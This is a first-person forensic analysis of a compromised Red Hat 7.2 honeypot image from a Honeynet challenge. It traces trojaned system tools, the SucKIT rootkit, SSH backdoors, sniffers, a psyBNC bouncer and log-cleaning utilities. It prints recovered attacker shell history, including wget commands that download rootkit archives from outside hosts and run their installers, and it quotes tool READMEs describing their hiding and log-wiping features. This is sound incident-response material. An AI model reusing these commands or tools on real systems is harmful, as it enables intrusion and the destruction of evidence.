System Forensics Analysis Summary

Author:
John Ward

Purpose:
To analyze a compromised Red Hat 7.2 system.

Goals:
To identify possible attack points, gather forensic evidence on attack and attempt to retrace steps of attacker using common, freely available tools and methodologies. And to gather as much evidence on the live system and verify my findings on the system after it was taken down.

Tools Used:
VMWare 4
Knoppix
Cygwin (to verify the MD5 sums)
Chkrootkit
Lsof
Strings
Hexedit
MD5Sums
Google

Description:
Being my first analysis of a compromised system, I though it would be an interesting and educational activity, especially without a packet capture. After reading the rules of the challenge on http://www.honeynet.org I figured Id give it a try. The challenge is to analyze a live compromised system and determine what was compromised, and what did they do once they compromised the system and answer the questions at the end of this document. I regret that there are not any screen shots available for my analysis since it was done on an isolated system that is purposely left unattached from any production environment. And the analysis is also not as in depth as it could be due to time constraints and project deadlines, however I made the best with what little time I had available.

Analysis:
The first thing I did was download the two files for this exercise, the http://www.honeynet.org/misc/files/linux-suspended.tar.bz2 and http://www.honeynet.org/scans/scan29/linux-suspended-md5s.gz from their site (at the time, I got a file called linux-suspended.tar.tar, which I had to pull the header using 'head –n 5 linux-suspended.tar.tar' under Cygwin to verify the file type). After confirming the md5sum, I made a copy of the compressed image since I would be going through these and wanted to keep a copy of the untouched version for offline analysis later, and if the live system had some sort of trap to destroy the system, I could restore off the image. I then uncompressed the image using the command 'tar –jxvf linux-suspended.tar.tar'

which resulted in the desired VMWare files. I downloaded and installed VMWare 4 Evaluation copy on to my analysis box, a standalone Windows 2000 Server box, then got on my way to analyzing the system.

I went to phase one of my analyses, analyzing the live system. I first analyzed the configuration file for the VMWare session and determined that it was made by a VMWare for Unix variant, so I decided to leave the device configurations to keep me safe from this virtual machine trying to access the VMNet I had configured since none of the devices would start, such as the NIC, since they were looking for their /dev/* equivalents. So I started this virtual machine. The first things that caught my eyes were the messages notifying the user that eth0 has entered promiscuous mode, which immediately alerted me to the presence of a pcap enabled sniffer. The second message that struck me as odd was (swapd) using obsolete (pf_inet, sock_packet). This was peculiar because I had to question why would swapd be using any sort of socket connection. And finally, when I ran the command 'ps –A' I got the ps help screen. This confirmed, in my mind, that system had indeed been compromised. Having been a user of RedHat 7.2 in the past, I knew that the version of ps that came stock supported those command line switches. So I instinctually ran 'netstat –natup' to view all open connections and what processes they were associated with, only to be greeted with the help screen for netstat, which gave me the impression that it too had been changed. My next instinct was to check the log files under /var/log such as messages, which not too surprising I found linked directly to /dev/null. I kept a mental note to be sure to try and find the message file when I took the system offline. The same was true with the root users .bash_history file. So I decided to run Nmap against localhost to see what I could find. Running the command 'nmap –sS –p 1-65534 localhost' (probably unnecessary to use the –sS switch, but its habit) I found that the following ports were listening.

1. 21
2. 22
3. 23
4. 25
5. 79
6. 80
7. 113
8. 139
9. 443
10. 2003
11. 3128
12. 65336
13. 65436

Although I didn't remember off the top of my head which services RedHat installs by default, I did catch a few anomalous ports. Ports 2003, 3128, 65336, and 65436 were unfamiliar to me. To my dismay, however, when I tried to use Netcat to connect, it was not installed on this system.

It occurred to me that none of the tools on the live system could be trusted, but I still wanted to see if the attacker kept a cache of the unmodified files for himself. So I ran

‘find / | grep netstat’ to search for “netstat”, which I knew was one of the modified files. I hit pay dirt, because under the /usr/lib/libshtift/ directory were copies of each of the files.

With what I was hoping were uncompromised tools, I ran a ‘/usr/lib/libshtift/ps –A’ to get my process list. What I found was definitely a different output from what the compromised ‘ps’ had indicated. Below are a list of the processes and their ID’s that stuck out to me.

1. In the 3000 block
    - smbd –D had process 3137
    - (swapd) had process 3153
    - syslogd had process 3247
    - klogd had process 3252
2. In the > 10000 block
    - xopen had 2 pids
        1. 25239
        2. 25241
    - lsn had 25247
    - initd had 15119
    - crond had 15347
    - sendmail had 15350

One thing that immediately stood out was the process Ids being so far apart. Then the smbd –D process struck me since there was already a smdb process with ID 699, and process lists don’t typically show command line switches with the switches that I normally use. Plus there was the swapd process that gave the error on boot up, which had parenthesis around them, which looked bizarre. So I came to the conclusion that anything with a process ID over 3000 was a suspect process. But the one process that really struck me was xopen.

Running ‘find / | grep xopen’ gave me the directory of /lib/.x/s. This directory revealed a treasure trove of information about our attack. 2 files, PID and PORT, contained both the PID and the Port of one of our xopen processes. Running ‘strings xopen’ did confirm that this was some sort of SSH server, running SSHD version 1.2.32. I also found the file s_h_k under this directory, which appeared to be some sort of SSH key.

Changing to the parent directory brought up some more interesting finds. I came across a file called CL, and running strings on it shows the banner for ‘Die Putze – The Ultimate UNIX logfile cleaner.’ I also found references to /var/log/messages, /var/log/auth.log, /var/run/utmp, /var/log/wtmp, and /var/log/lastlog, which are some of our missing log files. ‘hide’ turned out to be a shell script that ran a command ‘SK’ on certain processes, which leads me to believe that this is what is hiding processes. The file ‘inst’ is what appears to be the install script, which follows the below steps.

1. makes a directory called /lib/.x

2. Creates .sniffer file, changes mode to 622
3. Echo long hex string to gzip to decompress and make the sk file.
4. chmod sk to 755
5. Copies /sbin/init to temp file if it is not there, then copies sk to init.

'Log' is some sort of utility called SucKIT. It forks and does some sort of network listening is what I was able to determine from its strings output.

SK is also part of SucKIT, can tell that its version 1.3b and was written by Unseen.

1. Found references to /lib/.x/.lurker
2. /sbin/init
3. /sbin/init13996

.boot is a shell script that does the following.

1. Gets the SSHPORT and IP from files /lib/.x/s/port and ip respectively.
2. Starts up backdoors, sniffers
3. Emails skiZophrenia_sick@yahoo.com with contents of log files made, then erases its tracks.
4. Interestingly enough the Yahoo addresses were not stripped from the mail log as would be expected.
5. The contents of the files .lurker and mfs are mailed as well.

One other very interesting note of interest about the files in this directory is that the files .boot, .hide, inst, and log are all owned by apache. This gave me the impression that Apache is the process that was compromised. I also figured that there must be more because there were still a few unexplained processes running.

I went to /root next to have a look around. What I found was a tarball file called sslstop.tar.gz. Looking at the source for the two .c files, I found that this program modifies the httpd.conf file to change the port that SSL runs on. Of course without the .bash_history I couldn't see if this was ever run, but I figured I would look for that in my passive analysis stage.

So this brought me back to one of the interesting processed being run. I next decided to target initd. Running the uncompromised netstat showed me that initd owned the two higher number processes. So I did a 'find / | grep initd'. This returned the file '/etc/opt/psybnc/initd'. Going to this directory proved very fruitful since initd leaves a log file behind. Psybnc.log revealed some interesting facts. Listed below.

1. Log file reveals a listener on ports 65336 and ports –100
2. Our attacker, from the address sanido-09.is.pcnet.ro.
3. PsyBNC is connecting to mesa.az.us.undernet.org and Fairfax.va.us.undernet.org.
4. The attacker uses either the IRC handles of sic, redcode, or else these are his psyBNC account names.

Not knowing what exactly psyBNC is, I decided to do a search on the web. An excerpt from the psyBNC tutorial:

"*You'll always be connected to irc. Even when you close your irc client, psy will maintain your connection. When you connect later, you'll instantly be back on the channels you left. This also lets you hold your nick (if you need that feature), or hold ops on a channel.*
· psy hides your IP even in DCC sessions. In other bncs, a direct client-client session is opened, thus revealing your IP. In psy, the connection is bounced through the shell, and your IP remains your dirty little secret ;)
· You can link multiple psy's together. This allows you to share vhosts, and also create a small ircd, termed the 'internal' network on the bncs.
· psyBNC now supports SSL. woohoo :))) "

Going back one directory, I examined the psybnc.conf file next. Here are some of the facts that I uncovered.

1. Configuration for user Sic
    a. mesa.az.us.undernet.org
    b. joins channels #radioactive and #RedCode
2. Configuration for user redcode
    a. "RedCode Chicken" as a tagline.
    b. joins channels #AiaBuni and #RedCode

My next target was lsn. Lsn unfortunately was compressed with the UPX executable packer. So I moved on to smbd. When I ran 'find' on 'smbd', I found something very interesting. 'Smbd –D' was the filename. It was hiding under /usr/bin. When I ran strings on it, here is what I found.

1. Doing a strings on this reveals that it is a SSH server.
2. Running with a –d shows us that it is a sshd version By-ICE_4_All
3. Uses /usr/include/iceseed.h, and binds to port 2003.
4. iceseed.h is a binary file.

In addition to this file, I also found a file x.pid with the same date/time stamp. It contained the string '3153', which is the process ID for (swapd). So I made that my next target. Below are the facts on (swapd).

1. Found under /usr/bin
2. Strings on it shows it tries to set promiscuous mode. It must be another sniffer.
3. It writes to a /usr/lib/libice.log file, which contains our IRC server address. And what looks like our IP address with the number 23 (maybe another listening port).

So to make sure I had not missed anything, I shutdown this virtual machine, and started again with a fresh copy of our disk image. The first thing I did was run the uncompromised netstat with the –natup switches. This reveals the following facts.

1. Smbd –D is running on both port 80, 2003, and 443

2. Identd is running.
3. Initd on port 65336, 65436
4. Xopen on port 3128 and 3049 UDP.
5. The following connections are established
    a. All with initd
        1. port 65336 from 213.154.118.200
            a. Is registered to sanido-08.is.pcnet.ro from network lookup information, PC-NET Data Network registrant. Appears to be a broadband ISP.
        2. port 1149 from 64.62.96.42 (6667) (I suspect that this is outgoing to the IRC server. A network lookup returned: ”*OrgName: Axient Communications, Inc.*
           OrgID: AXNT
           Address: 8936 N. Central Avenue
           City: Phoenix
           StateProv: AZ
           PostalCode: 85020
           Country: US”
           So this is probally the AZ based undernet host as indicated in the psyBNC configuration file.
        3. 1146 to 199.184.165.133 (another IRC connection) This returned undernet.irc.rcn.net, our second IRC server…

Finally deciding that I had learned all I could for now from the system, I decided to move on to trying to connect to it from an outside box. So I again set up a fresh copy of our compromised Virtual Machine, and editing the VM configuration by hand to get the NIC to work on it. Then I started up another VM running Knoppix. This actually revealed very little to me. Below are the facts I was able to come up with.

1. First I ran Nmap, and found the same things I found locally as far as listening ports.
2. Using NetCat on the ports didn’t reveal anything, or at least I wasn’t patient enough to turn up anything interesting….
3. Telneting to the box gives an error about no SSL….

This bothered me. The only thing I could figure is that there was some sort of configuration or firewall in place to block my connection. So this left me with one other choice. I had to move on to my passive analysis.

To start this off, I had to make one more fresh copy, then boot that VM using Knoppix as a boot CD. So I decided that the first thing would be to hit this thing with a low level analysis. So I ran ‘hexedit /dev/sda1’ and got my disk image in hex. The first thing I wanted to find was the missing /var/log/messages. I did a string search for ‘/var/log/messages’, and found some interesting results, listed below:

1. Searching for /var/log/messages found an interesting tool not found in my initial analysis called Vanish II by Neo the Hacker. It was probably deleted.
    a. Must be a track remover, the last line states "Your tracks have been removed"
2. Found that /etc/rc.d/rc.sysinit had entry added kflushd by our root kit. Need to look up that file (I saw that before and thought it was odd, especially since the date was changed on rc.sysinit).
3. Found strings ustar/hack3r, possible username and password?
4. Found strings "rootkit", I think I stumbled on a deleted directory name.
5. Found LogCleaner 1.0 by drac_mare.
6. And quite a bit more, too much to list.

Although I did not find my missing /var/log/messages file, I did find something in the 'rootkit', which indicated that there wasn't a very original naming scheme to cover tracks in compromising the system. So my next search was for the 'string rootkit'. What I came across was something I didn't expect. Listed below are the contents of what appears to be a .bash_history file for our rootkit download. (Although I had intended to look for a bash_history file, I hadn't even gotten there yet).

1. wget geocities.com/mybabywhy/rk.tar.gz.tar
2. tar –zxvf rk.tar.gz.
3. cd sand
4. ./install
5. wget geocities.com/gavish19/abc.tgz
6. wget www.lugojteam.as.ro/rootkit.tar
7. cd informatii
8. wget www.lugoijteam.as.ro/rootkit.tar
9. wget irinel1979.go.ro/mass2.tgz

I also came across the missing Apache logs. I found quite a few references to errors getting SSLMutex. Not sure if this is a misconfiguration or what. I also found the IP address of 216.252.219.35 in one of the root kit files. I also found "a script by xlogic for Dariuss", this must be the script that modded our Trojan ls/ps/etc from what its contents showed.

I found tons and tons of great forensics data, more than I would have thought I would have come across. But what stuck out the most at this point was the rootkit install file. Below are the steps it took.

1. Installing firewall?? Might explain why I couldn't connect from the outside
2. In stalls Trojan binaries
    a. /dev/s
    b. /dev/udhss
    c. /dev/s_h_k
    d. /dev/s_r_s
    e. /sbin/syslogd

    f. /bin/ls
    c. /usr/bin/pstree
    d. /usr/bin/du
    e. /bin/netstat
    f. /usr/bin/killall
    g. /bin/ps
    h. syslogd
3. Hides tracks
4. Creates home directory /home/.ftpd

I also came across what appeared to be another .bash_history file that contained the following.

1. id
2. uptime
3. ./inst
4. hostname
5. sets hostname
6. deletes root mail
7. gets process list
8. cd /tmp
9. ls –a
10. wget izolam.net/ssltop.tar.gz
11. looks for apache
12. kills process 21510 21511, 23289. 23292. and 23302

There was so much forensics data uncovered and so little time to analyze it all, but I had enough information to go on for the time being to answer the questions from the Honeynet site. There was the option to do web searches for some of the rootkits that were discovered, such as this excerpt I got from the Die Putze website, along with the source code.

"*written by genius@h07.org or genius@unixgeek.de*

http://www.h07.org - development & security research team
http://www.unixgeek.de - my private website

0x00 intro:

First i want to thank 2 friend of mine... OSErr and Thomas who helped me alot with this tool.

A tipical question which everybody will ask if he hears from this tool is: Why do you code such a tool? This has several reasons...

I wrote this tool because I never found a really good log file manipulating tool. I thought a long time about releasing or not releasing this tool because I don't want to support script kiddies and crackers with this tool by giving them a new weapon. But then I tought about these unparanoid stupid admins who are not patchnig their system and who are not reading logs etc. I'am releasing this tool with the hope that some of them get more paranoid if such tools are released. But primary i don't though of the admins. Promary i tough of privacy... Privacy is one of the expensiv things on earth but privacy get more and more rare all the time. On every corner a cam... everywhere logging... big brother is watching us :-) I'am a free human like all of you and I wish that I can be a free human in the future, too!"

Searching for SuckIT 1.3b returned the source code for it, here is an excerpt from the readme.

"*SucKIT v1.3b, (c) 2002 by sd <sd@cdi.cz> & devik <devik@cdi.cz>*
+----------+

Code:	*by sd, with a lot of help from devik <devik@cdi.cz>*
Concepts:	*by Silvio Cesare - /dev/kmem, devik - kmalloc & IDT*
	http://phrack.org/p58/phrack-09
Tested:	*by hundreds of script kiddos around the globe :)*
Targets:	*i386-Linux boxen, kernels 2.2.x, 2.4.x without*
	security patches/modules.
Downloads:	*http://sd.g-art.nl/sk*

The SucKIT is easy-to-use, Linux-i386 kernel-based rootkit. The code stays in memory through /dev/kmem trick, without help of LKM support nor System.map or such things. Everything is done on the fly. It can hide PIDs, files, tcp/udp/raw sockets, sniff TTYs. Next, it have integrated TTY shell access (xor+sha1) which can be invoked through any running service on a server. No compiling on target box needed, one binary can work on any of 2.2.x & 2.4.x kernels precompiled (libc-free)

You could find details about technical background in 'src' directory."

I was also able to recover the source code for Vanish II by Neo the Hacker, and heres the header from that file.

*"/***
****
* Vanish2.c cleans WTMP, UTMP, lastlog, messages, secure, xferlog, maillog, *

** warn, mail, httpd.access_log, httpd.error_log. *
* The permissions on all the logs and the ctimes will now be preserved ! *
*(Greetings to Alan from packetstorm.securify.com who told me to use fix.c) *
****
******
* Warning!! This programm is for educational purpouse only! I am not *
* responsible to anything you do with this !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! *
****
******
* Code written for Unix like systems! Tested on SuSE-Linux 6.2 ! *
* Compile like: gcc vanish2.c -o vanish2 *
****
******
* DON'T FORGET TO GET "rootkitutil.h"!!*
****
*****/
“*

And for the final quick search, the website returned when looking for information on the “coded by xlogic for Darius gave me back the following web site. http://www.geocities.com/xlogicro/ .

On the tail end of this analysis, I needed to verify the MD5Sum, which I saved for one of the last steps only to confirm what I had found originally. I mounted a clean copy of the compromised system under a RedHat 8 configuration to verify the MD5Sums. I ran MD5 with the verify option on, and grepped for the string FAILED. What I had found is basically what I expected, a slew of files that failed to read, probably due to deletion, and the modified files, excluding the .pid files.

1. Our known modified utilities, ps, top, ls, ifconfig, and netstat.
2. /etc/httpd/conf/httpd.conf
3. /var/libs/slocate/slocate.db
4. /var/lib/random-seed
5. /var/lib/logrotate.status
6. /var/cache/man/whatis
7. /var/cache/samba/connections.tdb
8. /var/run/utmp
9. /var/run/runlevel.dir
10. /var/run/ftp.rips-all
11. /var/spool/anacron/cron.daily
12. /var/spool/anacron/cron.weekly
13. /tmp/root.md5
14. /etc/rc.d/init.d/functions
15. /etc/rc.d/rc.sysinit
16. /etc/mail/statistics
17. /etc/aliases.db
18. /etc/adjtime

19. /etc/samba/secrets.tdb

And my final step was to install a clean version of chkrootkit and run it to detect any rootkits installed. Running it found that the known ls, top, ifconfig, ps, and netstat were infected, as well as bindshell. It also found the 4 hidden processes under LKM, and noted that eth0 was listening in promiscuous mode.

Of course there is much more from the amount of data but time constraints and all that. But this demonstrates that many freely available tools can assist an analyst in their forensic analysis.

Answers to Questions

1. Describe the process you used to confirm that the live host was compromised while reducing the impact to the running system and minimizing your trust in the system.

    - Visual analysis from regular system use was the biggest give away at first. From where I started the suspended session, I could see the strange error messages that eth0 has entered promiscuous mode, and that (swapd) had errors. The second tip was when I ran 'ps –A' and I got a strange screen, which I knew was not part of the default ps that comes with RedHat 7.2. Netstat also did not have the switches I expected. Once I saw that the log files were missing, I did a search for 'netstat' which found the cache of the correct files, and got me going to finding the bizarre processes and ports. But my trust in the system was diminished instantaneously from the error messages on start up.

2. Explain the impact that your actions had on the running system.

    - None that I could tell. The established connections to the IRC server and the attackers box in Romania timed out eventually during the active stage of my analysis, but that was all.

3. List the PID(s) of the process(es) that had a suspect port(s) open (i.e. non Red Hat 7.2 default ports).

    - Quickly I noticed 2 sets of bizarre process ID's
        1. In the 3000 block
            1. smbd –D had process 3137
            2. (swapd) had process 3153
            3. syslogd had process 3247
            4. klogd had process 3252
        2. In the > 10000 block
            1. xopen had 2 pids
                1. 25239

    2. 25241
2. lsn has 25247
3. initd has 15119
4. crond has 15347
5. sendmail has 15350

4. Were there any active network connections? If so, what address(es) was the other end and what service(s) was it for?

    - Yes…
        1. 213.154.118.200 was connected to our psyBNC/initd Trojan on port 65336.
        2. Our box was connected to 64.62.96.42 and 199.184.165.133 on IRC ports 6667.

5. How many instances of an SSH server were installed and at what times?

    - 3, 1 looked like the stock SSHD from RedHat 7.2 since the MD5Sum did not indicate it was modified, and the other 2 were backdoors/Trojans.

6. Which instances of the SSH servers from question 5 were run?

    - xopen was sshd version 1.2.32
    - smbd –D was sshd version By-ICE_4_All

7. Did any of the SSH servers identified in question 5 appear to have been modified to collect unique information? If so, was any information collected?

    - Yes, there were a few trojaned SSH servers installed. I unfourtinatly didn't have time to do a binary analysis to pick them apart further to determine what information they might be collecting. Running a clean LSOF only indicated that they were listening on the HTTP, HTTPS, and SQUID ports which might indicate they are collecting web information, or that they are just backdoors.

8. Which system executables (if any) were trojaned and what configuration files did they use?

    - Ls, ps, netstat, top, and ifconfig were modified to present false information.
    - From the rootkit install file, /dev/s, /dev/udhss, /dev/s_h_k, /dev/s_r_s, /sbin/syslogd, /bin/ls, /usr/bin/pstree, /usr/bin/du, /bin/netstat, /usr/bin/killall, /bin/ps,. Syslogd were all suspect.
    - From running chkrootkit, ls, top, ifconfig, ps, netstat , bindshell and LKM.

9. How and from where was the system likely compromised?

- It looks like a box out of Romania, and the box was likely compromised by an Apache vulnerability as indicated by the file owners from the compromise kit directory. There were also servers in Romania where some of the root kits downloaded were stored.

Bonus: What nationality do you believe the attacker(s) to be, and why?

I would say the attacker was Romanian due to the number of Romanian boxes that housed the root kits and the originating box.